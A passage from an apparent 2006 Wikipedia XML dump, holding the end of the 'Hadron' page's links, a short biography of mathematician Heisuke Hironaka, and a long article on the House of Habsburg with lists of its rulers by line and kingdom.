[[Category:Hadrons| ]]
[[Category:Nuclear physics]]

[[da:Hadron]]
[[de:Hadron]]
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[[he:האדרון]]
[[hu:Hadron]]
[[it:Adrone]]
[[ja:ハドロン]]
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[[pt:Hádron]]
[[ru:Адрон]]
[[sl:Hadron]]
[[sv:Hadron]]
[[uk:Адрон]]
[[vi:Hadron]]
[[zh:强子]]</text>
    </revision>
  </page>
  <page>
    <title>Heisuke Hironaka</title>
    <id>13822</id>
    <revision>
      <id>38226123</id>
      <timestamp>2006-02-05T00:29:22Z</timestamp>
      <contributor>
        <username>D6</username>
        <id>75561</id>
      </contributor>
      <minor />
      <comment>adding [[category:Living people]]</comment>
      <text xml:space="preserve">'''Heisuke Hironaka''' (&amp;#24195;&amp;#20013; &amp;#24179;&amp;#31056; ''Hironaka Heisuke''; [[April 9]], [[1931]]–) is a [[Japan]]ese [[mathematician]]. He received his Ph. D. from Harvard, under the directioni of [[Oscar Zariski]].  He won the [[Fields Medal]] in [[1970]].

He is celebrated for proving in [[1964]] that [[singular point of an algebraic variety|singularities of algebraic varieties]] admit [[resolution of singularities|resolutions]] in characteristic zero. This means that any [[projective variety]] can be replaced by a similar one (i.e. [[birational equivalence|birationally equivalent]]) which has no singularities.

Hironaka was for many years a professor of mathematics at [[Harvard]] but currently lives in [[Japan]], where he is greatly respected and influential. He has been active in raising funds for causes such as mathematical education.

==Trivia==
He once wrote a paper under a pseudonym dervied from [[Kobayashi Issa]], a famous Japanese haiku poet. The result is known as Issa's theorem in complex function theory. 

==External links:==
* [http://www-groups.dcs.st-andrews.ac.uk/~history/Mathematicians/Hironaka.html Hironaka biography]
* [http://www.ams.org/notices/200509/fea-hironaka.pdf Inteview with Heisuke Hironaka (AMS Notices)]

{{Fields medalists}}
{{mathbio-stub}}

[[Category:1931 births|Hironaka, Heisuke]]
[[Category:Living people|Hironaka, Heisuke]]
[[Category:20th century mathematicians|Hironaka, Heisuke]]
[[Category:Japanese mathematicians|Hironaka, Heisuke]]

[[de:Heisuke Hironaka]]
[[ja:&amp;#24195;&amp;#20013;&amp;#24179;&amp;#31056;]]
[[zh:廣中平祐]]
[[ko:히로나카 헤이스케]]
[[fr:Heisuke Hironaka]]</text>
    </revision>
  </page>
  <page>
    <title>Habsburg</title>
    <id>13824</id>
    <revision>
      <id>41783624</id>
      <timestamp>2006-03-01T18:50:56Z</timestamp>
      <contributor>
        <username>Mksmith</username>
        <id>21209</id>
      </contributor>
      <comment>Started a selected &quot;Further Reading&quot; section -- not references, since I didn't contribute any text to this page</comment>
      <text xml:space="preserve">[[Image:Flag of the Habsburg Monarchy.svg|thumb|right|Flag of the Habsburg Monarchy; also used as the flag of the Austrian Empire until the ''[[Ausgleich]]'' of [[1867]].]]
[[Image:Wappen röm.kaiser.JPG|thumb|Coats of arms of an Habsburg Emperor showing the variety of his territories. The motto was ''Austriae est imperare orbi universo'' ([[Latin language|Latin]] &quot;Austria will rule the whole world&quot;)]]
'''Habsburg''' (sometimes spelled ''Hapsburg'', but never so in official use) was one of the major [[Royal House|ruling houses]] of [[Europe]].

Their principal roles were as: 
* Kings of [[Germany]], (several centuries to [[1806]]), mostly also crowned as
* [[Holy Roman Empire|Holy Roman Emperors]], and
* [[Rulers of Austria]] (as [[duke]]s [[1282]]&amp;ndash;[[1453]], [[archduke]]s [[1453]]&amp;ndash;[[1804]], and [[emperor]]s [[1804]]&amp;ndash;[[1918]]),
* Kings of [[Croatia]] ([[1437]]&amp;ndash;[[1439]], [[1445]]&amp;ndash;[[1457]], [[1526]]&amp;ndash;[[1918]]),
* Kings of [[Hungary]] ([[1437]]&amp;ndash;[[1439]], [[1445]]&amp;ndash;[[1457]], [[1526]]&amp;ndash;[[1918]]),
* Kings of [[Spain]] ([[1516]]&amp;ndash;[[1700]]),
* Kings of [[Portugal]] ([[1580]]&amp;ndash;[[1640]]),
* Kings of [[Bohemia]] ([[1526]]&amp;ndash;[[1618]] and [[1621]]&amp;ndash;[[1918]]) and
* Grand Princes of [[Transylvania]] ([[1690]]&amp;ndash;[[1867]]).

Other crowns held briefly by the House included:

* Emperor of [[Mexico]] ([[1864]]-[[1867]])
* Grand Duke of [[Tuscany]] ([[1790]]-[[1859]])
* Duke of [[Parma]] ([[1814]]-[[1847]])
* Duke of [[Modena]] ([[1814]]-[[1859]])

Numerous other titles were attached to the crowns listed above.

==A brief history of the House of Habsburg==
===From Counts of Habsburg to Holy Roman Emperors===
[[Image:Armoiries Habsbourg.png|200px|right|thumb|Coats of arms of early counts of Habsbourg]]
The name is derived from the Swiss ''Habichtsburg'' (Hawk Castle), the family seat in the [[11th century|11th]], [[12th century|12th]] and [[13th century|13th centuries]] at [[Habsburg, Switzerland|Habsburg]] in the former duchy of [[Swabia]] in present-day Switzerland (Switzerland did not then exist in its present form, and the Swiss lands were part of the mainly Germanic [[Holy Roman Empire]]). From Southwest-Germany the family extended its influence and holdings to the south-eastern reaches of the [[Holy Roman Empire]], roughly today's [[Austria]] ([[1278]] - [[1382]]). Within only two or three generations, the Habsburgs had managed to secure an initially intermittent grasp on the imperial throne that would last for centuries ([[1273]] - [[1291]], [[1298]] - [[1308]], [[1438]] - [[1740]], and [[1745]] - [[1806]]).

After the marriage of [[Maximilian I, Holy Roman Emperor|Maximilian I]] with [[Mary of Burgundy|Mary]], heiress of [[Burgundy]] (the Low Countries) and the marriage of his son [[Philip I of Castile|Philipp the Handsome]] with [[Joanna of Castile|Juana]], heiress of [[Spain]] and its newly-founded empire, [[Charles V, Holy Roman Emperor|Charles V]] inherited an empire where &quot;the sun does not set&quot;.

Under [[Maximilian II, Holy Roman Emperor|Maximilian II]], the Habsburgs first acquired the land upon which would later be erected the ''[[Schönbrunn Palace]]'': the Habsburgs' summer palace in [[Vienna]] and one of the most enduring symbols of the dynasty.

===Division of the House: Austrian and Spanish Habsburgs===
[[Image:Habsburg_Map_1547.jpg|thumb|right|450px|A map of the dominion of the Habsburgs following the [[Battle of Mühlberg]] (1547) as depicted in ''The Cambridge Modern History Atlas'' (1912); Habsburg lands are shaded green. Not shaded are the lands of the [[Holy Roman Empire]] over which the Habsburgs presided, nor are the vast Spanish holdings of the [[New World]] shown.]]

After the [[April 21]], [[1521]] assignment of the Austrian lands to [[Ferdinand I, Holy Roman Emperor|Ferdinand I]] from his brother Emperor [[Charles V, Holy Roman Emperor|Charles V]] (also King Charles I of Spain) ([[1516]] - [[1556]]), the family split into the [[Austrian Habsburgs]] and the [[Spanish Habsburgs]]. The Austrian Habsburgs held (after 1556) the title of [[Holy Roman Emperor]], as well as the Habsburg Hereditary Lands and the Kingdoms of Bohemia and Hungary, while the Spanish Habsburgs ruled over the Spanish kingdoms, the Netherlands, the Habsburgs' Italian possessions, and, for a time, Portugal. [[Hungary]], nominally under Habsburg kingship from [[1526]] but mostly under [[Ottoman Empire|Ottoman]] Turkish occupation for 150 years, was reconquered in [[1683]] - [[1699]].

The Spanish Habsburgs died out in [[1700]] (prompting the [[War of the Spanish Succession]]), as did the Austrian Habsburgs in [[1740]] (prompting the [[War of the Austrian Succession]]). However, the heiress of the last Austrian Habsburg ([[Maria Theresa of Austria|Maria Theresa]]) had married [[Francis I, Holy Roman Emperor|Francis Stephan]], [[Duke of Lorraine]], (both of them were great-grandchildren of Habsburg Emperor [[Ferdinand III, Holy Roman Emperor|Ferdinand III]], but from different empresses) and their descendants carried on the Habsburg tradition from [[Vienna]] under the dynastic name Habsburg-Lorraine. (It is often speculated that extensive intra-family marriages within both lines contributed to their extinctions, but there were few such marriages in the Austrian line. Smallpox killing young heirs was a greater cause.)

===House of Habsburg-Lorraine: the Austrian Empire===
On [[August 6]] [[1806]] the Holy Roman Empire was dissolved under the French Emperor [[Napoleon I]]'s reorganisation of [[Germany]]. However, in anticipation of the loss of his title of Holy Roman Emperor, Francis II declared himself hereditary [[Emperor of Austria]] (as Francis I, thereof) on [[August 11]], [[1804]], three months after Napoleon had declared himself Emperor of France on [[May 18]], [[1804]].

Emperor [[Francis II of the Holy Roman Empire|Francis I]] of Austria used the official great title: &quot;We, Francis the First, by the grace of God Emperor of Austria; [[Kings of Jerusalem|King of Jerusalem]], [[Hungary]], [[Bohemia]], [[Dalmatia]], [[Croatia]], [[Slavonia]], [[Galicia (Central Europe)|Galicia]], and [[Lodomeria]]; Archduke of [[Austria]]; Duke of [[Lorraine (province)|Lorraine]], [[Salzburg]], [[Würzburg]], [[Franconia]], [[Styria (duchy)|Styria]], [[Carinthia (duchy)|Carinthia]], and [[Carniola]]; Grand Duke of [[Kraków]]; Grand Prince of [[Transylvania]]; Margrave of [[Moravia]]; Duke of [[Sandomir]], [[Masovia]], [[Lublin]], Upper and Lower [[Silesia]], [[Oswiecim|Auschwitz]] and [[Zator]], [[Teschen]], and [[Friuli-Venezia Giulia|Friule]]; Prince of [[Berchtesgaden]] and [[Mergentheim]]; Princely Count of Habsburg, [[Gorizia]], and [[Gradisca]] and of the [[Tyrol]]; and Margrave of Upper and Lower [[Lusatia]] and [[Istria]]&quot;.

In [[1867]] effective autonomy was given to Hungary under the terms of the ''[[Ausgleich]]'' or &quot;compromise&quot; (''see'' [[Austria-Hungary]]) until the Habsburgs' deposition from both Austria and Hungary in [[1918]] following defeat in [[World War I]].

The current head of the Habsburg family is [[Otto von Habsburg]], [[Karl of Austria|Emperor Karl's]] eldest son.

==Main Line==

Before [[Rudolph I of Germany|Rudolph]] rose to [[Holy Roman Emperor|German king]], the Habsburgs were [[Count]]s in what is today south-western [[Germany]] and [[Switzerland]].
===Ancestors===
* [[Guntram, Count of Habsburg|Guntram the Rich]] (ca. [[930]] - [[985]] / [[990]]) Father of:
* [[Lanzelin, Count of Habsburg|Lanzelin]] of [[Altenburg]] (d. [[991]]). Besides Radbot, he had sons named [[Rudolph I, Count of Habsburg|Rudolph I]], Wernher, and Landolf.

===Counts of Habsburg===
* [[Radbot, Count of Habsburg|Radbot]] of [[Klettgau]], built the Habsburg (ca. [[985]] - [[1035]]). Besides Werner I, he had two other sons: [[Otto I, Count of Habsburg|Otto I]], who would become Count of [[Sundgau]] in the [[Alsace]], and [[Albert I, Count of Habsburg|Albrecht I]].
* [[Werner I, Count of Habsburg|Werner I]], Count of Habsburg ([[1025]] / [[1030]] - [[1096]]). Besides Otto II, there was another son, [[Albert II, Count of Habsburg|Albert II]], who was [[reeve]] of [[Muri]] from [[1111]] - [[1141]] after the death of Otto II.
* [[Otto II, Count of Habsburg|Otto II]] of Habsburg; first to name himself as &quot;of Habsburg&quot; (d. 1111) Father of:
* [[Werner II, Count of Habsburg|Werner II]] of Habsburg (around [[1135]]; d. [[1167]]) Father of:
* [[Albert III, Count of Habsburg|Albrecht III]] of Habsburg (''the Rich''), d. 1199. Under him, the Habsburg territories expanded to cover most of what is today the [[German language|German-speaking]] part of [[Switzerland]]. Father of:
* [[Rudolph II, Count of Habsburg|Rudolph II]] of Habsburg (d. [[1232]]) Father of:
* [[Albert IV, Count of Habsburg|Albrecht IV]] of Habsburg, (d. [[1239]] / [[1240]]); father of Rudolph IV of Habsburg, who would later become king [[Rudolph I of Germany]]. Between [[Albert IV|Albrecht IV]] and his brother [[Rudolph III, Count of Habsburg|Rudolph III]], the Habsburg properties were split, with Albrecht keeping the [[Aargau]] and the western parts, the eastern parts going to Rudolph III.

===Kings of Germany===

*[[Rudolph I of Germany|Rudolph I]] was king of Germany (then an elective position, as its successive post, the Holy Roman Emperor, would be) from [[1273]] - [[1291]].

===Dukes of Austria===

In the late [[middle ages]], when the Habsburgs expanded their territories in the east, they often ruled as dukes. &quot;Duke of Austria&quot; is a bit misleading, though: Austria at the time covered what is today [[Lower Austria]] and the eastern part of Upper Austria. The Habsburg possessions also included [[Styria (duchy)|Styria]], and then expanded west to include [[Carinthia (duchy)|Carinthia]] and [[Carniola]] in [[1335]] and [[Tyrol]] in [[1363]]. Their original scattered possessions in the southern [[Alsace]], south-western Germany and [[Vorarlberg]] were collectively known as [[Vorderösterreich]]. The Habsburg dukes gradually lost their homelands south of the [[Rhine]] and [[Lake Constance]] to the expanding [[Old Swiss Confederacy]]. Unless mentioned explicitly, the dukes of Austria also ruled over [[Vorderösterreich]] until [[1379]], after that year, Vorderösterreich was ruled by the Princely Count of [[Tyrol]]. Names in ''italics'' designate dukes that never actually ruled.

* ''[[Rudolph II of Austria|Rudolph II]]'', son of [[Rudolph I of Germany|Rudolph I]], duke of Austria and Styria together with his brother [[1282]] - [[1283]], was dispossessed by his brother, who eventually would be murdered by one of Rudolph's sons.
* [[Albert I of Austria|Albert I]] (''Albrecht I''), son of [[Rudolph I of Germany|Rudolph I]] and brother of the above, duke from [[1282]] - [[1308]]; was [[Holy Roman Emperor]] from [[1298]] - [[1308]]. See also [[#House of Habsburg|below]].
* ''[[Rudolph III of Austria|Rudolph III]]'', oldest son of Albert I, designated duke of Austria and Styria [[1298]] - [[1307]]
* [[Frederick I of Austria (Habsburg)|Frederick ''the Handsome'']] (''Friedrich der Schöne''), brother of Rudolph III. Duke of Austria and Styria (with his brother Leopold I) from [[1308]] - [[1330]]; officially co-regent of emperor [[Louis IV, Holy Roman Emperor|Louis IV]] since [[1325]], but never ruled.
* [[Leopold I of Austria (Habsburg)|Leopold I]], brother of the above, duke of Austria and Styria from [[1308]] - [[1326]].
* [[Albert II of Austria|Albert II]] (''Albrecht II''), brother of the above, duke of Vorderösterreich from [[1326]] - [[1358]], duke of Austria and Styria [[1330]] - [[1358]], duke of Carinthia after [[1335]].
* [[Otto of Austria|Otto ''the Jolly'']] (''der Fröhliche''), brother of the above, duke of Austria and Styria [[1330]] - [[1339]] (together with his brother), duke of Carinthia after [[1335]].
* [[Rudolph IV of Austria|Rudolph IV ''the Founder'']] (''der Stifter''), oldest son of Albert II. Duke of Austria and Styria [[1358]] - [[1365]], Duke of [[Tyrol]] after [[1363]].

After the death of Rudolph IV, his brothers [[Albert III of Austria|Albert III]] and [[Leopold III of Austria (Habsburg)|Leopold III]] ruled the Habsburg possessions together from [[1365]] until [[1379]], when they split the territories in the [[Treaty of Neuberg]], Albert keeping Austria proper and Leopold ruling over [[Styria (duchy)|Styria]], [[Carinthia (duchy)|Carinthia]], [[Carniola]], the [[Windish March]], [[Tyrol]], and [[Vorderösterreich]].

===Albertine line: Dukes of Austria===

* [[Albert III of Austria|Albert III]] (''Albrecht III''), duke of Austria until [[1395]], from [[1386]] (after the death of Leopold) until [[1395]] also ruled over the latters possessions.
* [[Albert IV of Austria|Albert IV]] (''Albrecht IV''), duke of Austria 1395 - [[1404]], in conflict with Leopold IV.
* [[Albert V of Austria|Albert V]] (''Albrecht V''), duke of Austria [[1404]] - [[1439]], [[Holy Roman Emperor]] from [[1438]] - [[1439]] as [[Albert II, Holy Roman Emperor|Albert II]]. See also [[#House of Habsburg|below]].
* [[Ladislaus Posthumus of Bohemia and Hungary|Ladislaus Posthumus]], son of the above, duke of Austria [[1440]] - [[1457]].

===Leopoldine line: Dukes of Styria, Carinthia, Tyrol===

* [[Leopold III of Austria (Habsburg)|Leopold III]], duke of Styria, Carinthia, Tyrol, and Vorderösterreich until 1386, when he was killed in the [[Battle of Sempach]].
* [[William of Austria|William]] (''Wilhelm''), son of the above, [[1386]] - [[1406]] duke in Innerösterreich (Carinthia, Styria)
* [[Leopold IV of Austria (Habsburg)|Leopold IV]], son of Leopold III, [[1391]] regent of Vorderösterreich, [[1395]] - [[1402]] duke of Tyrol, after [[1404]] also duke of Austria, [[1406]] - [[1411]] duke of [[Innerösterreich]]

====Leopoldine-Innerösterreich sub-line====
:* [[Ernest of Austria (Habsburg)|Ernest ''the Iron'']] (''der Eiserne''), [[1406]] - [[1424]] duke of Innerösterreich, until [[1411]] together and competing with his brother Leopold IV.
:*  [[Frederick V of Austria|Frederick V]] (''Friedrich''), son of Ernst, became [[Holy Roman Emperor|emperor]] [[Frederick III, Holy Roman Emperor|Frederick III]] in [[1440]]. He was duke of Innerösterreich from [[1424]] on. Guardian of [[Sigismund of Austria|Sigismund]] [[1439]] - [[1446]] and of [[Ladislaus Posthumus of Bohemia and Hungary|Ladislaus Posthumus]] [[1440]] - [[1452]]. See also [[#House of Habsburg|below]].
:* [[Albert VI of Austria|Albert VI]] (''Albrecht VI''), brother of the above, [[1446]] - [[1463]] regent of Vorderösterreich, duke of Austria [[1458]] - [[1463]]

====Leopoldine-Tyrol sub-line====
:* [[Frederick IV of Austria|Frederick IV]] (''Friedrich''), brother of Ernst, [[1402]] - [[1439]] duke of Tyrol and Vorderösterreich
:* [[Sigismund of Austria|Sigismund]], also spelled ''Siegmund'' or ''Sigmund'', [[1439]] - [[1446]] under the tutelage of the Frederick V above, then duke of Tyrol, and after the death of Albrecht VI in 1463 also duke of Vorderösterreich.

===Reuniting of Habsburg possessions ===

Sigismund had no children and adopted [[Maximilian I, Holy Roman Emperor|Maximilian I]], son of duke Frederick V (emperor Frederick III). Under Maximilian, the possessions of the Habsburgs would be united again under one ruler, after he had re-conquered [[Lower Austria]] after the death of [[Matthias Corvinus]], who resided in [[Vienna]] and styled himself duke of Austria from [[1485]] - [[1490]].

==== Holy Roman Emperors previous to the reunion of the Habsburg possessions====
*[[Rudolph I, Holy Roman Emperor|Rudolph I]], emperor 1273 - 1291 (never crowned)
*[[Albert I, Holy Roman Emperor|Albert I]], emperor 1298 - 1308 (never crowned)
*[[Albert II, Holy Roman Emperor|Albert II]], emperor 1438 - 1439 (never crowned)
*[[Frederick III, Holy Roman Emperor|Frederick III]], emperor 1440 - 1493

==== Kings of Hungary previous to the reunion of the Habsburg possessions====

* [[Albert II, Holy Roman Emperor|Albert]], king of Hungary 1437 - 1439
* [[Ladislaus Posthumus of Bohemia and Hungary|Ladislaus V Posthumus]], king of Hungary 1444 - 1457

== Main Line: Holy Roman Emperors, Archdukes of Austria ==

*[[Maximilian I, Holy Roman Emperor|Maximilian I]], emperor 1493 - 1519
*[[Charles V, Holy Roman Emperor|Charles V]], emperor 1519 - 1556

=== [[Habsburg Spain|Spanish Habsburgs]]: Kings of Spain, Kings of Portugal (1580-1640) ===
''See also: [[Portuguese House of Habsburg]]''
*[[Philip I of Castile]], second son of [[Maximilian I, Holy Roman Emperor|Maximilian I]], founded the Spanish Habsburgs in 1506 by marrying [[Joanna of Castile|Joanna the Mad]], daughter of Ferdinand and Isabella. Philip promptly died, leaving the thrones of Castile and Aragon to be inherited and united into the nation of Spain by his son: 
*[[Charles V, Holy Roman Emperor|Charles I]] 1516-1556, ''aka Charles V, Holy Roman Emperor; converdivided the House into Austrian and Spanish lines''
*[[Philip II of Spain|Philip II]] of Spain 1556-1598, also [[Philip II of Spain|Filipe I]] of Portugal 1580-1598
*[[Philip III of Spain|Philip III]], also [[Philip III of Spain|Filipe II]] of Portugal 1598-1621
*[[Philip IV of Spain|Philip IV]] 1621-1665, also [[Philip IV of Spain|Filipe III]] 1621-1640
*[[Charles II of Spain|Charles II]] 1665-1700

The [[War of the Spanish Succession]] took place after the extinction of the Spanish Habsburg line, to determine the inheritance of Charles II.

=== Austrian Habsburgs: Holy Roman Emperors, Archdukes of Austria ===
*[[Ferdinand I, Holy Roman Emperor|Ferdinand I]], emperor 1556 - 1564 ([[Imperial_Crypt#The_Founders.27_Family|→Family Tree]])
*[[Maximilian II, Holy Roman Emperor|Maximilian II]], emperor 1564 - 1576
*[[Rudolph II, Holy Roman Emperor|Rudolph II]], emperor 1576 - 1612
*[[Matthias, Holy Roman Emperor|Matthias]], emperor 1612 - 1619
*[[Ferdinand II, Holy Roman Emperor|Ferdinand II]], emperor 1619 - 1637
*[[Ferdinand III, Holy Roman Emperor|Ferdinand III]], emperor 1637 - 1657 ([[Imperial_Crypt#Emperor_Ferdinand_III.27s_Family|→Family Tree]])
*[[Leopold I, Holy Roman Emperor|Leopold I]], emperor 1658 - 1705
*[[Joseph I, Holy Roman Emperor|Josef I]], emperor 1705 - 1711
*[[Charles VI, Holy Roman Emperor|Charles VI]], emperor 1711 - 1740
NB: [[Maria Theresa of Austria]], Habsburg heiress and wife of emperor [[Francis I, Holy Roman Emperor|Francis I Stephen]], reigned as Archduchess of Austria and Queen of [[Hungary]] and [[Bohemia]] 1740 - 1780

=== House of Habsburg-Lorraine (Lothringen), main line: Holy Roman Emperors, Archdukes of Austria ===
*[[Francis I, Holy Roman Emperor|Francis I Stephen]], emperor 1745 - 1765 (→[[Imperial_Crypt#Emperor_Ferdinand_III.27s_Family|Family Tree]])
*[[Joseph II, Holy Roman Emperor|Joseph II]], emperor 1765 - 1790
*[[Leopold II, Holy Roman Emperor|Leopold II]], emperor 1790 - 1792 (→[[Imperial_Crypt#Empress_Maria_Theresia.27s_Family|Family Tree]])
*[[Francis II, Holy Roman Emperor|Francis II]], emperor 1792 - 1806 (→[[Imperial_Crypt#Emperor_Leopold_II.27s_Family|Family Tree]])

The House of Habsburg-Lorraine retained Austria and attached possessions after the dissolution of the Holy Roman Empire; see below.

==== House of Habsburg-Lorraine: Grand dukes of Tuscany ====
*[[Francis I, Holy Roman Emperor|Francis Stephen]] 1737-1765 ''(later Francis I, Holy Roman Emperor)''

Francis Stephen assigned the grand duchy of Tuscany to his second son Peter Leopold, who in turn assigned it to his second son upon his accession as Holy Roman Emperor.  Tuscany remained the domain of this cadet branch of the family until [[Italian unification]].

*[[Leopold II, Holy Roman Emperor|Peter Leopold]] 1765-1790 ''(later Leopold II, Holy Roman Emperor)''
*[[Ferdinand III of Tuscany|Ferdinand III]] 1790-1800, 1814-1824 (→[[Imperial_Crypt#Tuscan_Line|Family Tree]])
*[[Leopold II of Tuscany|Leopold II]] 1824-1849, 1849-1859
*[[Ferdinand IV of Tuscany|Ferdinand IV]] 1859

==== House of Habsburg-Lorraine: Dukes of Modena ====
The duchy of Modena was assigned to a minor branch of the family by the [[Congress of Vienna]]. It was lost to [[Italian unification]].

*[[Francis IV of Modena|Francis IV]] 1814-1831, 1831-1846 (→[[Imperial_Crypt#Empress_Maria_Theresia.27s_Family|Family Tree]])
*[[Francis V, Duke of Modena|Francis V]] 1846-1848, 1849-1859

====House of Habsburg-Lorraine: Duchess of Parma ====

The duchy of Parma was likewise assigned to a Habsburg, but did not stay in the House long before succumbing to [[Italian unification]].

*[[Marie Louise of Austria|Maria Luisa]] [[1814]]-[[1847]] (→[[Imperial_Crypt#ZegelChartFranz57|Family Tree]])

==== House of Habsburg-Lorraine: Emperor of Mexico ====

Maximilian, an adventurous younger son, was invited as part of [[Napoleon III]]'s manipulations to take the throne of Mexico. The adventure did not end well. Maximilian was shot in &quot;Cerro de las Campanas&quot; in 1867.  

*[[Maximilian of Mexico|Maximilian I]] [[1864]]-[[1867]]) (→[[Imperial_Crypt#ZegelChartFranz57|Family Tree]])

=== House of Habsburg-Lorraine, main line: Emperors of Austria ===
*Franz I, emperor of Austria 1804 - 1835: was [[Francis II, Holy Roman Emperor]] (→[[Imperial_Crypt#ZegelChartFranz57|Family Tree]])
*[[Ferdinand I of Austria|Ferdinand I]], emperor of Austria 1835 - 1848
*[[Franz Joseph of Austria|Franz Joseph]], emperor of Austria 1848 - 1916, sometimes referred to in English as &quot;Francis Joseph&quot;
*[[Karl of Austria|Karl]], emperor of Austria 1916 - 1918, sometimes referred to in English as &quot;Charles&quot;. He died in exile in 1922.

===House of Habsburg-Lorraine, main line: Heads of the House of Habsburg (post-monarchy)===
Charles I was expelled from his domains after World War I and the empire was abolished.

*[[Karl of Austria|Charles I]] ([[1918]]-[[1922]]) (→[[Imperial_Crypt#ZegelChartFranz57|Family Tree]])
*[[Otto von Habsburg]] ([[1922]]-present)
*[[Zita of Bourbon-Parma]], guardian, ([[1922]]-[[1930]]))
*[[Karl Habsburg-Lothringen]], successor in due course to Otto

===Burials===
See [[Imperial Crypt]] in [[Vienna]].

== Habsburgs as Kings of Hungary ==

The kingship of Hungary remained in the Habsburg family for centuries; but as the kingship was not strictly inherited (Hungary was an elective monarchy till 1687) and was sometimes used as a training ground for young Habsburgs, the dates of rule do not always match those of the primary Habsburg possessions. Therefore, the kings of Hungary are listed separately.

===Albertine line: Kings of Hungary===
* [[Albert II, Holy Roman Emperor|Albert]], king of Hungary 1437 - 1439
* [[Ladislaus Posthumus of Bohemia and Hungary|Ladislaus V Posthumus]], king of Hungary 1444 - 1457

===Austrian Habsburgs: Kings of Hungary===
* [[Ferdinand I, Holy Roman Emperor|Ferdinand I]], king of Hungary 1526 - 1564
* [[Maximilian II, Holy Roman Emperor|Maximilian I]], king of Hungary 1563 - 1576
* [[Rudolf II, Holy Roman Emperor|Rudolf I]], king of Hungary 1572 - 1608
* [[Matthias, Holy Roman Emperor|Matthias]], king of Hungary 1608 - 1619
* [[Ferdinand II, Holy Roman Emperor|Ferdinand II]], king of Hungary 1618 - 1637
* [[Ferdinand III, Holy Roman Emperor|Ferdinand III]], king of Hungary 1625 - 1657 
* [[Ferdinand IV of Germany|Ferdinand IV]], king of Hungary 1647 - 1654
* [[Leopold I, Holy Roman Emperor|Leopold I]], king of Hungary 1655 - 1705
* [[Joseph I, Holy Roman Emperor|Joseph I]], king of Hungary 1687 - 1711
* [[Charles VI, Holy Roman Emperor|Charles III]], king of Hungary 1711 - 1740

===House of Habsburg-Lorraine, main line: Kings of Hungary===
* [[Maria Theresa of Austria|Maria Theresa]], queen of Hungary 1741 - 1780
* [[Joseph II, Holy Roman Emperor|Joseph II]], king of Hungary 1780 - 1790
* [[Leopold II, Holy Roman Emperor|Leopold II]], king of Hungary 1790 - 1792
* [[Francis II, Holy Roman Emperor|Francis]], king of Hungary 1792 - 1835
* [[Ferdinand I of Austria|Ferdinand V]], king of Hungary 1835 - 1848
* [[Francis Joseph of Austria|Francis Joseph I]], king of Hungary 1848 - 1916
* [[Karl of Austria|Charles IV]], king of Hungary 1916 - 1918

== Habsburgs as Kings of Bohemia ==

The kingship of Bohemia was for centuries a position elected by its nobles. As a result, it was not an automatically inherited position. The king of Bohemia tended to be a Habsburg, but was not always. Hence, the kings of Bohemia and their ruling dates are listed separately.

===Main line: Kings of Bohemia===
* [[Rudolph I of Bohemia|Rudolph I]], king of Bohemia 1306-1307
===Albertine line: Kings of Bohemia===
* [[Albert II, Holy Roman Emperor|Albert]], king of Bohemia 1437 - 1439
* [[Ladislaus Posthumus of Bohemia and Hungary|Ladislaus Posthumus]], king of Bohemia 1444 - 1457
===Austrian Habsburgs: Kings of Bohemia===
* [[Ferdinand I, Holy Roman Emperor|Ferdinand I]], king of Bohemia 1526 - 1564
* [[Maximilian II, Holy Roman Emperor|Maximilian I]], king of Bohemia 1563 - 1576
* [[Rudolf II, Holy Roman Emperor|Rudolph II]], king of Bohemia 1572 - 1611
* [[Matthias, Holy Roman Emperor|Matthias]], king of Bohemia 1611 - 1618
* [[Ferdinand II, Holy Roman Emperor|Ferdinand II]], king of Bohemia 1621 - 1637
* [[Ferdinand III, Holy Roman Emperor|Ferdinand III]], king of Bohemia 1625 - 1657
* [[Ferdinand IV of Germany|Ferdinand IV]], king of Bohemia 1647 - 1654
* [[Leopold I, Holy Roman Emperor|Leopold I]], king of Bohemia 1655 - 1705
* [[Joseph I, Holy Roman Emperor|Joseph I]], king of Bohemia 1687 - 1711
* [[Charles VI, Holy Roman Emperor|Charles II]], king of Bohemia 1711 - 1740

===House of Habsburg-Lorraine, main line: Kings of Bohemia===

From the accession of Maria Theresa, the kingship of Bohemia became united with the Austrian possessions.

* [[Maria Theresa of Austria|Maria Theresa]], queen of Bohemia 1743 - 1780
* [[Joseph II, Holy Roman Emperor|Joseph II]], king of Bohemia 1780 - 1790
* [[Leopold II, Holy Roman Emperor|Leopold II]], king of Bohemia 1790 - 1792
* [[Francis II, Holy Roman Emperor|Francis]], king of Bohemia 1792 - 1835
* [[Ferdinand I of Austria|Ferdinand V]], king of Bohemia 1835 - 1848
* [[Francis Joseph of Austria|Francis Joseph I]], king of Bohemia 1848 - 1916
* [[Karl of Austria|Charles III]], king of Bohemia 1916 - 1918

== Habsburgs as Queens Consort of France ==

From the sixteenth through the eighteenth centuries, the greatest non-Habsburg power in Europe was usually [[France]]. As a result, in usually futile attempts to either unite Europe under the Habsburg family or to prevent French enmity, Habsburg daughters were wed to successive kings of France.

===Austrian Habsburgs===
*[[Elisabeth of Austria (1554 - 1592)|Elisabeth of Austria]] ([[1554]] - [[1592]]), wife of King [[Charles IX of France]]

*[[Leonor of Austria, Infanta of Spain (1498-1558), wife of King Francis I.]]

===Spanish Habsburgs===
*[[Anne of Austria]], infanta of Spain, ([[1601]] - [[1666]]), wife of King [[Louis XIII of France|Louis XIII]]
*[[Maria Theresa of Spain]] ([[1638]] - [[1683]]), wife of King [[Louis XIV of France|Louis XIV]]

===Habsburg-Lorraine===
*[[Marie Antoinette]] ([[1755]] - [[1793]]), wife of King [[Louis XVI of France|Louis XVI]]

==See Also==
* [[List of rulers of Austria]]
* [[Habsburg Monarchy]]
* [[Austrian Empire]]
* [[Austria-Hungary]]
* [[Thirty Years' War]]
* [[Habsburg Family Tree]]
* [[Mandibular prognathism]] (&quot;Habsburg lip&quot;)

==Further Reading==
*Brewer-Ward, Daniel A. ''The House of Habsburg: A Genealogy of the Descendants of Empress Maria Theresia''. Clearfield, 1996.
*Evans, Robert J. W. ''The Making of the Habsburg Monarchy, 1550-1700: An Interpretation''. Clarendon Press, 1979.
*McGuigan, Dorothy Gies. ''The Habsburgs''. Doubleday, 1966.
*Wandruszka, Adam. ''The House of Habsburg: Six Hundred Years of a European Dynasty''. Doubleday, 1964 (Greenwood Press, 1975).

==External Links==
* [http://otto.twschwarzer.de/ &quot;Erzherzog Dr. Otto von Habsburg&quot; (Autorisierte Ehrenseite)]
* [http://www.antiquesatoz.com/habsburg/ Habsburg Biographies]
* [http://www.surnameweb.org/registry/h/a/b/habsburg.shtml Habsburg Resource Centre on SurnameWeb]
